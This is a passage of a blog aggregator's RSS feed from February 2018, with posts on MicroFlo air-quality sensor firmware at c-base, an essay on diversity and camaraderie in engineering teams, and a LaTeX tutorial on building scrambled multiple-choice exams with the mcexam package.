&lt;p&gt;After the components were done, we could build the firmware &lt;a href="http://app.flowhub.io/#github/c-base/microflo-luftdaten"&gt;as a Flowhub graph&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://app.flowhub.io/#github/c-base/microflo-luftdaten"&gt;&lt;img alt="MicroFlo luftdaten graph" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/microflo-luftdaten-graph.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To verify the build we enabled &lt;a href="https://travis-ci.org/"&gt;Travis CI&lt;/a&gt; where we build the firmware both against the MicroFlo Arduino and Linux targets. The Arduino one is there to verify that the build works with all the required libraries, and the Linux build we can use for test automation with &lt;a href="https://github.com/flowbased/fbp-spec"&gt;fbp-spec&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To flash the actual devices you need the &lt;a href="https://www.arduino.cc/en/Main/Software"&gt;Arduino IDE&lt;/a&gt; and Node.js. Then use MicroFlo to generate the &lt;code class="language-plaintext highlighter-rouge"&gt;.ino&lt;/code&gt; file, and flash that to the device with the IDE. WiFi and MQTT settings can be tweaked in the &lt;a href="https://github.com/c-base/microflo-luftdaten/blob/master/secrets.example.h"&gt;secrets.h&lt;/a&gt; and &lt;a href="https://github.com/c-base/microflo-luftdaten/blob/master/config.h"&gt;config.h&lt;/a&gt; files.&lt;/p&gt;
&lt;h2 id="sensor-deployment"&gt;Sensor deployment&lt;/h2&gt;

&lt;p&gt;The recommended weatherproofing solution for these sensors is quite straightforward: place the hardware in a piece of drainage pipe with the ends turned downwards.&lt;/p&gt;

&lt;p&gt;Since we had two sensors, we decided to install one in the patio, and the other in the c-base main hall:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Particulate matter sensor in c-base main hall" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-mainhall.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="working-with-the-sensor-data"&gt;Working with the sensor data&lt;/h2&gt;

&lt;p&gt;Once the sensor devices had been flashed, they became available in &lt;a href="https://github.com/c-base/c-flo"&gt;our MsgFlo setup&lt;/a&gt; and could be connected with other systems:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Particulate matter sensor in c-base main hall" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-msgflo.png" /&gt;&lt;/p&gt;

&lt;p&gt;In our case, we wanted to do two things with the data:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Log it in the c-base telemetry system to be &lt;a href="http://bergie.iki.fi/blog/nasa-openmct-iot-dashboard/"&gt;visualized with NASA OpenMCT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Submit the data from the outdoor sensor to the &lt;a href="https://luftdaten.info/"&gt;luftdaten.info database&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first one was just a matter of adding &lt;a href="https://github.com/c-base/cbeam-telemetry-server/pull/61"&gt;couple of configuration lines&lt;/a&gt; to our OpenMCT server. For the latter, I built a &lt;a href="https://github.com/c-base/c-flo/blob/master/components/SendToLuftDaten.py"&gt;simple Python component&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Our sensors have been tracking for a couple of days now. The public data can be seen in &lt;a href="https://www.madavi.de/sensor/graph.php?sensor=msgflo-00000042-sds011"&gt;the madavi service&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Readings from the c-base outdoor sensor" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-madavi.png" /&gt;&lt;/p&gt;

&lt;p&gt;We’ve &lt;a href="http://luftdaten.info/feinstaubsensor-bauen/#feinstaubsensor-konfiguration"&gt;submitted our sensor&lt;/a&gt; for inclusion in the luftdaten.info database, and hopefully soon there will be another covered area in the &lt;a href="http://berlin.maps.luftdaten.info/#13/52.5150/13.4211"&gt;Berlin air quality map&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="luftdaten.info Berlin map" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/luftdaten-sensor-berlin.png" /&gt;&lt;/p&gt;

&lt;p&gt;If you’d like to build your own air quality sensor, the &lt;a href="https://luftdaten.info/en/construction-manual/"&gt;instructions on luftdaten.info&lt;/a&gt; are pretty comperehensive. Get the parts from your local electronics store or AliExpress, connect them together, flash the firmware, and be part of the public effort to track and improve air quality!&lt;/p&gt;

&lt;p&gt;Our &lt;a href="https://github.com/c-base/microflo-luftdaten"&gt;MicroFlo firmware&lt;/a&gt; is a great alternative if you want to do further analysis of the data yourself, or simply want to get the data on MQTT.&lt;/p&gt;</description><author>Henri Bergius</author><pubDate>Mon, 26 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bergie.iki.fi/blog/microflo-particulate-sensors/</guid></item><item><title>An introduction to the wishbone-input-httpserver module</title><link>https://smetj.net/an_introduction_to_the_wishbone-input-httpserver_module.html</link><description>&lt;p&gt;In this article we will explore the current version of &lt;code class="text"&gt;wishbone-input-httpserver&lt;/code&gt;
a &lt;em&gt;Wishbone&lt;/em&gt; input module to receive events over http(s).&lt;/p&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;code class="text"&gt;Wishbone-input-httpserver&lt;/code&gt; is a &lt;a class="reference external" href="http://wishbone.readthedocs.io"&gt;wishbone&lt;/a&gt; &lt;a class="reference external" href="http://wishbone.readthedocs.io/en/master/components/modules/input.html"&gt;input module&lt;/a&gt; to receive
events over the http protocol.  A typical use-case is to accept and process
webhook payloads. Once the payload is received …&lt;/p&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Sun, 25 Feb 2018 15:40:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/an_introduction_to_the_wishbone-input-httpserver_module.html</guid></item><item><title>My Favorite Things From ElixirConf</title><link>https://denvaar.dev/posts/favorite_things_from_elixir_conf.html</link><description>I had the chance to attend LoneStar ElixirConf 2018 - a programming conference in Austin, Texas. I sat in a conference room for two days and listened to people talk. 🎶 These are a few of my favorite things. 🎶</description><author>denvaar's website</author><pubDate>Sun, 25 Feb 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/favorite_things_from_elixir_conf.html</guid></item><item><title>5000 concepts for Europe: update 2018/02/24</title><link>https://stop.zona-m.net/2018/02/5000-concepts-for-europe-update-2018/02/24/</link><description>&lt;p&gt;Below please find the &lt;strong&gt;over 300&lt;/strong&gt; suggestions received so far for my proposal of a &lt;a href="https://stop.zona-m.net/2017/12/5000-concepts-for-europe-a-book-proposal"&gt;&amp;ldquo;5000 concepts for Europe&amp;rdquo; book&lt;/a&gt;. Respect to the &lt;a href="https://stop.zona-m.net/tag/5000-concepts"&gt;previous updates&lt;/a&gt;, the biggest news seem to be lots of suggestions for novels, and about Eastern Europe.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 24 Feb 2018 13:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/5000-concepts-for-europe-update-2018/02/24/</guid></item><item><title>Diversity and camaraderie</title><link>http://dimitarsimeonov.com/2018/02/24/diversity-and-camaraderie</link><description>&lt;p&gt;When a team of engineers has 50% female members but they speak 10% of
the time during meetings, or during lunch breaks, is that team
diverse? What is the gender diversity score - 50% or 10%? Is this
better or worse than a team that has 20% women who speak 20% of the
time?&lt;/p&gt;

&lt;p&gt;I’m going to share how I think about some these issues.&lt;/p&gt;

&lt;p&gt;Before I dive deeper, here are some of my assumptions. I assume that a
&lt;em&gt;well-functioning&lt;/em&gt; diverse team is more effective and resilient than a
well-functioning non-diverse team of the same size. I also assume that
diversity and inclusion are desirable because without them, people
feel excluded and marginalized, and not given the same opportunities
as others. We don’t want to live in a dickhead society with artificial
barriers to certain groups.&lt;/p&gt;

&lt;p&gt;We want to live in a society where everyone feels empowered to do what
they are interested in and capable of.&lt;/p&gt;

&lt;p&gt;&lt;img alt="mongolmetal" class="img-responsive" src="http://dimitarsimeonov.com/assets/image/20180223_diversity/mongolianmetal.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;(image credit Tengger Cavalry)&lt;/p&gt;

&lt;p&gt;In software, where I’ve worked for my short career so far, a lot of
companies are not diverse, because new hires are similar to old
hires. They are a “culture fit”. Culture fit means that it is easy for
the current employees to build camaraderie with the new employees. And
that the new employees are not jerks. That camaraderie is built on top
of shared traits of the identity. These traits include but are not
limited to common alma matter, hobbies, opinion of Pokemon, opinion of
Haskell, and bro-ism or preexisting friendships.&lt;/p&gt;

&lt;p&gt;The inconvenient truth about diversity, is that it is harder to build
that trust and camaraderie with someone who’s different than
you. It is hard to even build it with people who are &lt;em&gt;slightly&lt;/em&gt;
different. There is that extra uncertainty, which makes us scared.&lt;/p&gt;

&lt;p&gt;Can you easily build a camaraderie with a Japanese who enjoys reading
manga. Can you easily build a camaraderie with person from Boston from
Irish origin without having to drink 17 beers together? Can you easily
build camaraderie with a drag queen from San Francisco? Can you easily
build camaraderie with an introvert who’s hobby is to play classical
music on the piano? What about a cursing Eastern European with a
golden tooth?&lt;/p&gt;

&lt;p&gt;If you’ve answered yes to all &lt;em&gt;all&lt;/em&gt; of the above -
congratulations. You’re an excellent human being and you have gift of
being able to easily create rapport with everyone. I admire you and
envy you. I sincerely want to know how you do it and I’m pretty sure
you’re not just using Dale Carnegie’s “How to win friends and
influence people”.&lt;/p&gt;

&lt;p&gt;You’re also not universal. You are rare. Most people have hard time
connecting and building relationship with people that are too
&lt;em&gt;different&lt;/em&gt;. It takes effort, and knowledge, and humility, and
courage.&lt;/p&gt;

&lt;p&gt;I married a person from a very different country and culture. And
while I have a lot of common interests with her, we’ve had arguments
based on simple missunderstanding of what mean by different
phrases. It takes a lot of effort and patience to iron out
missunderstandings, and internalize that we were not being mean to each
other, but were using phrases which didn’t sound kind when translated.&lt;/p&gt;

&lt;p&gt;Making a big deal out of tiny misunderstandings is natural. It’s the
&lt;a href="https://en.wikipedia.org/wiki/Fundamental_attribution_error"&gt;fundamental attribution error&lt;/a&gt;. It’s
a common cognitive bias for humans. And we extend it more easily to
people “not-like-us”. To counter it, we need to proactively extend
trust to them.&lt;/p&gt;

&lt;p&gt;If we want to live in an inclusive and effective society we need to
solve for both diversity and camaraderie. If we introduce only one of
them, but neglect the other we end up with a team that’s either too
homogenous and narrow-minded, or with a “diverse” team that’s not
cohesive, and contains a smaller, narrow-minded team within it.&lt;/p&gt;

&lt;p&gt;Diversity without camaraderie is decoration. And nobody wants to be
decoration. Decoration doesn’t belong. We need to ensure diversity,
but also optimize for the camaraderie and cohesiveness.&lt;/p&gt;

&lt;p&gt;It is each company’s responsibility to hire diversely, but it behooves
on each of us to welcome people that are not-like-us openly into the
our teams. We need to develop sincere trust with them. And to do it,
we don’t only have to teach them about our culture, belief or favorite
text editor. We also have to learn about theirs and suspend our ego,
and let them transform our culture and beliefs. And be open to
listening to them when they suggest that VIM is better than Emacs,
even though we really really don’t think so. And by listening, by
showing humility and openness, we finally can feel the benefits of
diversity, empower, and be empowered.&lt;/p&gt;

&lt;p&gt;Perhaps if I’m wrong about some or all of the points above. If so, I
humbly ask for your forgiveness and perspective.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 24 Feb 2018 02:04:23 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/02/24/diversity-and-camaraderie</guid></item><item><title>Painless (almost) multiple-choice exams in LaTeX</title><link>https://jonathanchang.org/blog/painless-almost-multiple-choice-exams-in-latex/</link><description>&lt;p&gt;Worked example files:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href="/uploads/2018/latex/example.tex"&gt;example.tex&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/uploads/2018/latex/mcexam.sty"&gt;Modified mcexam.sty&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;&lt;a href="https://www.overleaf.com?r=606b3729&amp;amp;rm=d&amp;amp;rs=b"&gt;Sign up for Overleaf, an online LaTeX editor, with my referral code!&lt;/a&gt;&lt;/p&gt;
  &lt;h2&gt;Requirements&lt;/h2&gt;
  &lt;p&gt;If you, like me, are interested in writing exams, there is a serious lack of free, quality tools to write exams. In my experience, most instructors that I’ve worked with basically slap something together in Microsoft Word and call it a day. While this is fine for exams and quizzes for courses with fewer than 80 students or so, it rapidly falls apart once you’re administering a multiple choice exam to 600 students. Some of the pitfalls of the Word approach:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;p&gt;Cannot easily scramble question order, to create multiple versions of an exam.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Cannot easily scramble answer order, again for multiple versions of an exam.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Cannot easily generate an “answer” version where correct answers are bolded or circled or whatever. I need this to refer back to when writing the exam, and when students have questions about the exam.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Cannot easily generate a “short” answer key where question numbers and answers are just listed together. I need this to fill in scantron answer keys.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Cannot easily generate a large-print version for students that need this type of accommodation.&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;I also have an aversion to commercial, GUI-only software using formats that aren’t easily accessible to humans to store questions. If I want to remix an exam or use old questions, I have to laboriously copy and paste questions, make sure the numbering is right, etc. Computers should be able to do this for me.&lt;/p&gt;
  &lt;h2&gt;LaTeX to the rescue?&lt;/h2&gt;
  &lt;p&gt;For writing text, LaTeX is basically what I turn to. There are many packages that purport to do all of the above, plus a few more with respect to LaTeX specifically:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;p&gt;I need to be able to say that some questions are “grouped” together, so I can create sets of problems that are all asking about a common prompt.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Must have an easier syntax for both multiple choice and true false questions. Meaning if I have to write &lt;code&gt;\begin{enumerate} \item[A]&lt;/code&gt; etc. for each question I will lose it.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;When scrambling answer order, I need to be able to specify that some questions shouldn’t have their answers scrambled. For example, questions with “none of the above” or “all of the above” as a possible response should not have the answers scrambled since those options should appear last.&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Well, which packages are good? As you can tell from the title, it’s not great. I feel the pain of &lt;a href="https://tex.stackexchange.com/questions/360518/making-exams-with-multiple-choice-questions-in-scrambled-versions"&gt;this poster on TeX Exchange&lt;/a&gt;; it seems like everything just doesn’t quite fit right. My requirements are basically the same as theirs, after all.&lt;/p&gt;
  &lt;h2&gt;Some options&lt;/h2&gt;
  &lt;p&gt;Here’s a listing of everything I’ve tried so far:&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://ctan.org/pkg/exam"&gt;&lt;em&gt;exam&lt;/em&gt;&lt;/a&gt; - Does not permit randomization. But, it has an &lt;em&gt;incredible&lt;/em&gt; syntax for both multiple choice questions, true/false, matching questions, and short answer/essay type questions. I definitely use this one for shorter in-class quizzes that students complete in 20 minutes or so.&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://ctan.org/pkg/examdesign"&gt;&lt;em&gt;examdesign&lt;/em&gt;&lt;/a&gt; - It &lt;em&gt;almost&lt;/em&gt; does everything I need. Randomization, great syntax for multiple choice questions, except it doesn’t have good ergonomics for True/False questions, as True/False questions MUST be in a separate “section” from regular MC questions. Which doesn’t make sense since True/False questions are basically multiple-choice questions, except they have a fixed set of answers. Forcing True/False questions into a separate section has the downside that (1) you can’t randomize the order of MC and TF questions, (2) the TF questions don’t &lt;em&gt;look&lt;/em&gt; like the MC questions (bad if you are writing a scantron exam), and (3) if you just write TF questions as multiple-choice questions, you MUST include answer choices A. True and B. False &lt;em&gt;every time&lt;/em&gt; even though you know it’s a True/False question.&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://ctan.org/pkg/esami"&gt;&lt;em&gt;esami&lt;/em&gt;&lt;/a&gt; - The documentation is terrible. It’s written by Italians and they have not bothered to translate their macros to English, instead supplying brief lessons about the Italian language. Ok, normally I’m fine with bad documentation—scientists are awful at it too and usually I can figure it out if they provide working examples. But I can’t get their examples to work either, because the error messages are in Italian and also talk about macros that are not defined. Great.&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://ctan.org/pkg/probsoln"&gt;&lt;em&gt;probsoln&lt;/em&gt;&lt;/a&gt; - This one is focused on math, and also has no built-in syntax for MC questions.&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://www.auto-multiple-choice.net"&gt;&lt;em&gt;automultiplechoice&lt;/em&gt;&lt;/a&gt; - Not stricly LaTeX only, but it has such a horrific syntax for multiple choice questions that I just ran away screaming.&lt;/p&gt;
  &lt;h2&gt;The solution&lt;/h2&gt;
  &lt;p&gt;Is everything terrible?&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;!! I found something that almost, &lt;em&gt;almost&lt;/em&gt; works just right: &lt;a href="https://ctan.org/pkg/mcexam"&gt;&lt;em&gt;mcexam&lt;/em&gt;&lt;/a&gt;. It does it all: permutation of both question order and answer order, question grouping, answer permutation customization, and a flexible enough syntax that I can include “image” and “table” answers, and also write a few macros to get True/False questions looking and working correctly. It can generate answer key versions (where answers are placed next to question text), short answer keys, as well as an instructor “concept” version that shows in one document how questions and answers are permuted. It also permits some nifty item analysis using an external R script. Sweet!&lt;/p&gt;
  &lt;p&gt;There are still a few pain points though, so I’m going to document how I brutally hacked at &lt;em&gt;mcexam&lt;/em&gt; to get it to do what I want. You can also &lt;a href="/uploads/2018/latex/example.tex"&gt;download an example file&lt;/a&gt; that includes everything below and can be compiled after you make one change to &lt;code&gt;mcexam.sty&lt;/code&gt; as detailed below.&lt;/p&gt;
  &lt;h3&gt;Useful tips for writing questions&lt;/h3&gt;
  &lt;h4&gt;A macro for True/False questions&lt;/h4&gt;
  &lt;div class="language-tex highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\global\def\qtrue&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\begin{mcanswers}&lt;/span&gt;[permutenone]&lt;span class="k"&gt;\answer&lt;/span&gt;&lt;span class="na"&gt;[correct]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;1&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="k"&gt;\answer&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;2&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="nt"&gt;\end{mcanswers}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\global\def\qfalse&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\begin{mcanswers}&lt;/span&gt;[permutenone]&lt;span class="k"&gt;\answer&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;1&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="k"&gt;\answer&lt;/span&gt;&lt;span class="na"&gt;[correct]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;2&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="nt"&gt;\end{mcanswers}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Note to get this to work you have to hack at &lt;code&gt;mcexam.sty&lt;/code&gt;. Copy that file from the CTAN archive into the same folder as your exam &lt;code&gt;.tex&lt;/code&gt; file, then comment out this line with a &lt;code&gt;%&lt;/code&gt;:&lt;/p&gt;
  &lt;div class="language-tex highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\xifinlist&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\a&lt;/span&gt;&lt;span class="p"&gt;}{&lt;/span&gt;&lt;span class="k"&gt;\mc&lt;/span&gt;@answernumVals&lt;span class="p"&gt;}{}{&lt;/span&gt;&lt;span class="k"&gt;\PackageError&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;mcexam&lt;span class="p"&gt;}{&lt;/span&gt;Question &lt;span class="k"&gt;\q&lt;/span&gt;: answernum &lt;span class="k"&gt;\a\space&lt;/span&gt; is not specified.&lt;span class="p"&gt;}{}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;You can also just &lt;a href="/uploads/2018/latex/mcexam.sty"&gt;download a pre-modified version of this file&lt;/a&gt;. Drop it in the same folder that you have your &lt;code&gt;.tex&lt;/code&gt; file.&lt;/p&gt;
  &lt;h4&gt;A macro to show how many questions are in a question group&lt;/h4&gt;
  &lt;div class="language-tex highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\global\def\numq&lt;/span&gt;&lt;span class="na"&gt;[#1]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;[Questions &lt;span class="k"&gt;\the\numexpr\value&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;setmcquestionsi&lt;span class="p"&gt;}&lt;/span&gt;+1&lt;span class="k"&gt;\relax&lt;/span&gt;--&lt;span class="k"&gt;\the\numexpr\value&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;setmcquestionsi&lt;span class="p"&gt;}&lt;/span&gt;+#1&lt;span class="k"&gt;\relax&lt;/span&gt;]&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;With the above two macros, you can easily make a series of True/False questions like this:&lt;/p&gt;
  &lt;div class="language-tex highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nt"&gt;\begin{mcquestioninstruction}&lt;/span&gt;
&lt;span class="k"&gt;\numq&lt;/span&gt;&lt;span class="na"&gt;[5]&lt;/span&gt; Which of the following foods can be eaten on a
         ketogenic diet? Mark A for True and B for False:
&lt;span class="nt"&gt;\end{mcquestioninstruction}&lt;/span&gt;
&lt;p&gt;&lt;span class="k"&gt;\question&lt;/span&gt;         Blueberries &lt;span class="k"&gt;\qtrue&lt;/span&gt;
&lt;span class="k"&gt;\question&lt;/span&gt;&lt;span class="na"&gt;[follow]&lt;/span&gt; Eggs        &lt;span class="k"&gt;\qtrue&lt;/span&gt;
&lt;span class="k"&gt;\question&lt;/span&gt;&lt;span class="na"&gt;[follow]&lt;/span&gt; Steak       &lt;span class="k"&gt;\qtrue&lt;/span&gt;
&lt;span class="k"&gt;\question&lt;/span&gt;&lt;span class="na"&gt;[follow]&lt;/span&gt; Bread       &lt;span class="k"&gt;\qfalse&lt;/span&gt;
&lt;span class="k"&gt;\question&lt;/span&gt;&lt;span class="na"&gt;[follow]&lt;/span&gt; Cupcakes    &lt;span class="k"&gt;\qfalse&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;And there won’t be any extraneous A. True B. False options thanks to that macro!&lt;/p&gt;
&lt;h4&gt;Save space with &lt;code&gt;multicol&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;If you have a multiple choice question with really short options, use the &lt;code&gt;multicol&lt;/code&gt; environment to save some vertical space by aligning the options all on one line.&lt;/p&gt;
&lt;p&gt;First, add &lt;code&gt;\usepackage{multicol}&lt;/code&gt; in your preamble, then in the question:&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\question&lt;/span&gt; Which of the following numbers is prime?
&lt;p&gt;&lt;span class="nt"&gt;\begin{multicols}&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;4&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;\begin{mcanswerslist}&lt;/span&gt;[ordinal]
&lt;span class="k"&gt;\answer&lt;/span&gt; 12
&lt;span class="k"&gt;\answer&lt;/span&gt; 16
&lt;span class="k"&gt;\answer&lt;/span&gt;&lt;span class="na"&gt;[correct]&lt;/span&gt; 17
&lt;span class="k"&gt;\answer&lt;/span&gt; 20
&lt;span class="nt"&gt;\end{mcanswerslist}&lt;/span&gt;
&lt;span class="nt"&gt;\end{multicols}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;This example also shows off one of the neat ergonomic features for answer scrambling, option &lt;code&gt;ordinal&lt;/code&gt;, which permutes answer options forward and backward but keeps their relative order. So for each version you’ll see 12, 16, 17, 20; or 20, 17, 16, 12. This works well when options have a natural ordering. There’s also &lt;code&gt;fixlast&lt;/code&gt; for “None of the above” type options, and also one where you manually specify permissible permutations.&lt;/p&gt;
&lt;h3&gt;Other formatting stuff&lt;/h3&gt;
&lt;p&gt;By default, &lt;code&gt;mcexam&lt;/code&gt; will permit questions and their associated answer choices to be split across multiple pages, which is poor test ergonomics. Ensure that questions and their associated answer choices are printed on the same page:&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\usepackage&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;calc&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\renewenvironment&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;setmcquestion&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\begin{minipage}&lt;/span&gt;[t]&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\linewidth&lt;/span&gt;-&lt;span class="k"&gt;\labelwidth&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\end{minipage}&lt;/span&gt;&lt;span class="k"&gt;\par&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Similar to the above, force question “instructions” to be printed on the same page:&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\renewenvironment&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;setmcquestioninstruction&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\begin{minipage}&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\textwidth&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;\end{minipage}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This saves some space in the answer formatting by reducing the space between options:&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\renewenvironment&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;setmcanswers&lt;span class="p"&gt;}{}{}&lt;/span&gt;
&lt;span class="k"&gt;\setlist&lt;/span&gt;&lt;span class="na"&gt;[setmcquestions]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;label=&lt;span class="k"&gt;\mcquestionlabelfmt&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;*&lt;span class="p"&gt;}&lt;/span&gt;.
                        ,ref=&lt;span class="k"&gt;\mcquestionlabelfmt&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;*&lt;span class="p"&gt;}&lt;/span&gt;
                        ,itemsep=0.5&lt;span class="k"&gt;\baselineskip&lt;/span&gt;
                        ,topsep=1&lt;span class="k"&gt;\baselineskip&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Use Arabic numerals instead of Roman numerals for test form versioning. Our scantrons don’t use Roman numerals on the version field, so this avoids some headaches when people misinterpret Roman numerals.&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\renewcommand\mcversionlabelfmt&lt;/span&gt;&lt;span class="na"&gt;[1]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\arabic&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;#1&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
